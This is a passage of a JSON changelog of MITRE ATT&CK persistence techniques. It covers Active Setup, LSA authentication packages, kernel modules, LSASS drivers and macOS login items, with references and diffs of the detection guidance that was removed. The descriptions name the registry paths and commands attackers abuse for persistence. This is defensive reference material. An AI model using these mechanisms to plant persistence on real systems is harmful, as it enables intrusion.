"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network Devices"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Module: Module Load\", \"Command: Command Execution\", \"File: File Creation\", \"Windows Registry: Windows Registry Key Creation\", \"Windows Registry: Windows Registry Key Modification\", \"File: File Modification\", \"Kernel: Kernel Module Load\", \"Process: Process Creation\", \"Driver: Driver Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.846000+00:00\", \"old_value\": \"2025-04-15 19:58:12.270000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \\n\\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n\\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\\n\\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \\n-\\n-Suspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n-\\n-Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\\n-\\n-Monitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0008: Kernel (Kernel Module Load)",
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)",
"DS0027: Driver (Driver Load)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0274: Boot or Logon Autostart Execution Detection Strategy"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-12-18 16:33:13.098000+00:00",
"modified": "2025-10-24 17:48:31.226000+00:00",
"name": "Active Setup",
"description": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/014",
"external_id": "T1547.014"
},
{
"source_name": "SECURELIST Bright Star 2015",
"description": "Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who\u2019s Really Spreading through the Bright Star?. Retrieved December 18, 2020.",
"url": "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/"
},
{
"source_name": "Mandiant Glyer APT 2010",
"description": "Glyer, C. (2010). Examples of Recent APT Persistence Mechanism. Retrieved December 18, 2020.",
"url": "https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf"
},
{
"source_name": "FireEye CFR Watering Hole 2012",
"description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
},
{
"source_name": "Klein Active Setup 2010",
"description": "Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020.",
"url": "https://helgeklein.com/blog/2010/04/active-setup-explained/"
},
{
"source_name": "paloalto Tropic Trooper 2016",
"description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020.",
"url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"
},
{
"source_name": "TechNet Autoruns",
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
},
{
"source_name": "Citizenlab Packrat 2015",
"description": "Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020.",
"url": "https://citizenlab.ca/2015/12/packrat-report/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.226000+00:00\", \"old_value\": \"2025-04-15 19:58:13.464000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\\.\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\\.\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0312: Detect Active Setup Persistence via StubPath Execution"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 14:54:42.757000+00:00",
"modified": "2025-10-24 17:49:17.208000+00:00",
"name": "Authentication Package",
"description": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/002",
"external_id": "T1547.002"
},
{
"source_name": "Graeber 2014",
"description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
"url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
},
{
"source_name": "Microsoft Configure LSA",
"description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
"url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
},
{
"source_name": "MSDN Authentication Packages",
"description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:17.208000+00:00\", \"old_value\": \"2025-04-16 20:37:19.684000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1025: Privileged Process Integrity"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0207: Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 17:42:23.339000+00:00",
"modified": "2025-10-24 17:49:10.550000+00:00",
"name": "Kernel Modules and Extensions",
"description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/006",
"external_id": "T1547.006"
},
{
"source_name": "Apple Developer Configuration Profile",
"description": "Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.",
"url": "https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf"
},
{
"source_name": "Apple Kernel Extension Deprecation",
"description": "Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020.",
"url": "https://developer.apple.com/support/kernel-extensions/"
},
{
"source_name": "System and kernel extensions in macOS",
"description": "Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022.",
"url": "https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web"
},
{
"source_name": "GitHub Reptile",
"description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.",
"url": "https://github.com/f0rb1dd3n/Reptile"
},
{
"source_name": "Volatility Phalanx2",
"description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.",
"url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html"
},
{
"source_name": "iDefense Rootkit Overview",
"description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved September 12, 2024.",
"url": "https://www.megasecurity.org/papers/Rootkits.pdf"
},
{
"source_name": "Linux Loadable Kernel Module Insert and Remove LKMs",
"description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved November 17, 2024.",
"url": "https://tldp.org/HOWTO/Module-HOWTO/x197.html"
},
{
"source_name": "CrowdStrike Linux Rootkit",
"description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
"url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"
},
{
"source_name": "GitHub Diamorphine",
"description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.",
"url": "https://github.com/m0nad/Diamorphine"
},
{
"source_name": "Securelist Ventir",
"description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.",
"url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/"
},
{
"source_name": "User Approved Kernel Extension Pike\u2019s",
"description": "Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading\u2026. Retrieved September 23, 2021.",
"url": "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/"
},
{
"source_name": "Linux Kernel Module Programming Guide",
"description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved November 17, 2024.",
"url": "https://tldp.org/LDP/lkmpg/2.4/html/x437.html"
},
{
"source_name": "Linux Kernel Programming",
"description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
"url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
},
{
"source_name": "Trend Micro Skidmap",
"description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.",
"url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/"
},
{
"source_name": "Purves Kextpocalypse 2",
"description": "Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.",
"url": "https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/"
},
{
"source_name": "RSAC 2015 San Francisco Patrick Wardle",
"description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.",
"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
},
{
"source_name": "Synack Secure Kernel Extension Broken",
"description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved November 17, 2024.",
"url": "https://objective-see.org/blog/blog_0x21.html"
},
{
"source_name": "Wikipedia Loadable Kernel Module",
"description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.",
"url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Wayne Silva, F-Secure Countercept",
"Anastasios Pingios",
"Jeremy Galloway",
"Red Canary",
"Eric Kaiser @ideologysec"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS",
"Linux"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Creation\", \"File: File Modification\", \"Kernel: Kernel Module Load\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.550000+00:00\", \"old_value\": \"2025-04-15 19:58:54.982000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\\\"kernel object\\\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\\n\\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\\n\\nOn macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike\\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\\\"kernel object\\\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\\n-\\n-Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\\n-\\n-On macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike\\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management",
"M1038: Execution Prevention",
"M1049: Antivirus/Antimalware"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0008: Kernel (Kernel Module Load)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0450: Detection Strategy for Kernel Modules and Extensions Autostart Execution"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 18:38:55.801000+00:00",
"modified": "2025-10-24 17:49:35.318000+00:00",
"name": "LSASS Driver",
"description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/008",
"external_id": "T1547.008"
},
{
"source_name": "Microsoft LSA Protection Mar 2014",
"description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
"url": "https://technet.microsoft.com/library/dn408187.aspx"
},
{
"source_name": "Microsoft DLL Security",
"description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx"
},
{
"source_name": "Microsoft Security Subsystem",
"description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.",
"url": "https://technet.microsoft.com/library/cc961760.aspx"
},
{
"source_name": "TechNet Autoruns",
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Vincent Le Toux"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"File: File Creation\", \"Driver: Driver Load\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.318000+00:00\", \"old_value\": \"2025-04-16 20:37:22.686000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\\n\\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\\n-\\n-Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. \"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1025: Privileged Process Integrity",
"M1043: Credential Access Protection",
"M1044: Restrict Library Loading"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0011: Module (Module Load)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0027: Driver (Driver Load)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0225: Detect unauthorized LSASS driver persistence via LSA plugin abuse (Windows)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-10-05 21:26:15.081000+00:00",
"modified": "2025-10-24 17:49:03.355000+00:00",
"name": "Login Items",
"description": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in 